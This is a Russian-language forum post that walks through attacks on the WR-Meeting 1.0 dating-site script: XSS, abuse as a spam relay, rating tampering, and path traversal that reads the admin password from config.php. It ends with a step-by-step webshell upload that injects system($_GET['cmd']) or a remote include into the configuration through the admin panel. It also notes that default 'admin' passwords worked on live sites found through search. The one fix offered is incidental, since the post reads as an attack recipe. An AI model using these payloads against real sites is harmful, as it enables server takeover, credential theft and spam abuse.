Продолжаем оперировать семейство скриптов WR-Script. Сегодня в поле нашего зрения - служба знакомств WR-Meeting 1.0. Итак, я нашёл следующие уязвимости... 1. Пассивные XSS. На странице можно передать в качестве параметров POST-формы $city, $work, $url, $icq, параметры с длиной строки более 25 символов, содержащие строчку Например, Для этого придётся заменить параметр maxlength=25 в POST-форме на maxlength=45. Данный класс уязвимостей представляет интерес скорее теоретический... Перейдём к практике... 2. Рассылка спама Если параметр $sendmail в файле config.php равен "1" , т.е. отправка писем администратором НЕ запрещена, службу WR-Meeting можно использовать в качестве прокси для спам-рассылок. Так, ссылка передаст email [email protected] в форму отправки сообщения, в скрытое поле откуда можно слать что угодно и кому захочется. Собственно, скрипт для спам-рассылки наколбасить будет совсем несложно. 3. Создание на сервере .dat файлов с неприлично длинными цифровыми именами Откроем исходный код страницы и заменим на Сохраним страницу на жесткий диск, откроем её оттуда и нажмём кнопку "Сохранить". После этого на удалённом сервере появится файл с именем Чистой воды хулиганство... 4. Возможность выставления нестандартной оценки для фотографий. Вместо стандартной шкалы оценок от 1 до 5, можно выставлять свои оценки от -9 до 99. Так понравившаяся тебе девушка может заполучить сразу 99 баллов за свою фотку, а парнишка-конкурент может схлопотать -9 баллов. Естественно, твоя оценка повлияет и на средний балл за фотографию. Идем на похожий линк открываем исходный код странички, меняем на сохраняем страничку на локальный диск и открываем её оттуда... Ставим нашу оценку... 5. Просмотр файлов на сервере Параметр msnum в файле index.php вставляется в качестве имени файла "как есть" PHP: if ($_GET['event']=="coment") {$msnum=$_GET['msnum']; ....................................................... if (is_file("$datadir/$msnum.dat")) { $rlines=file("$datadir/$msnum.dat"); ....................................................... , что даёт возможность просматривать файлы на сервере. Так, ссылка вида позволяет просмотреть содержимое файла config.php , где в открытом виде хранится пароль от админки. Фиксится данная уязвимость заменой условия PHP: if ($_GET['event']=="coment") {$msnum=$_GET['msnum']; ....................................................... на PHP: if ($_GET['event']=="coment"&&ctype_digit($_GET['msnum'])) {$msnum=$_GET['msnum']; ....................................................... 6. Заливка шелла Смотрим админский пасс в файле config.php, заходим в админку на вкладку "Конфигурирование", ищем пункт "Относительный путь до папки с данными скрипта" и заменяем в нём ./fotodat на ./fotodat";if(isset($_GET["cmd"])){include($cmd);}// для удалённого инклуда шелла или на ./fotodat"; if (isset($_GET['cmd'])){system($_GET['cmd']);}// для выполнения команд на сервере. Первый вариант прокатит только при директиве PHP-интерпретатора allow_url_fopen = On ,второй более перспективен. Жмём кнопку "Сохранить конфигурацию". Шелл готов к работе. 7. Раздача Вот, нагуглилось... К некоторым админкам, где уязвимость не юзалась, подошёл дефолтовый пароль admin. *******
DDoSька, в общем идея такая, файл config.php - это файл, в котором хранятся настройки WR-Meeting в таком формате PHP: <? // WR-Meeting v 1.0.2 // 23.09.07 г. // [email protected] ................чего-то ещё........................ $adminemail="[email protected]"; // Емайл админа $password="admin"; // Пароль админа ................чего-то ещё........................ $datadir="./fotodat"; // Каталог с фото и комментариями/оценками ................чего-то ещё........................ ?> Основной скрипт index.php обращается к этим настройкам посредством конструкции PHP: include "config.php"; Панель администрирования (файл admin.php) позволяет изменять значения переменных в файле config.php. А поскольку в админке не проверяется корректность вводимых данных, то введя в пункте "Относительный путь до папки с данными скрипта" значение PHP: ./fotodat";if(isset($_GET["cmd"])){include($cmd);}// мы добавляем в PHP-код файла config.php (а заодно и файла index.php) дополнительную инструкцию include() PHP: <? // WR-Meeting v 1.0.2 // 23.09.07 г. // [email protected] $datadir="./fotodat";if(isset($_GET["cmd"])){include($cmd);}//"; // Каталог с фото и комментариями/оценками ?> Смотри, после присвоения значения переменной $datadir, добавилась инструкция include(). Главное не запутаться с количеством кавычек и вообще не косячить с синтаксисом. Если ошибёшься, завалишь скрипт знакомств, а заодно потеряешь доступ.
Тынц Ты б чтоль автора упомянул приличия ради... А то там благодарности уж каким-то совсем левым чувакам...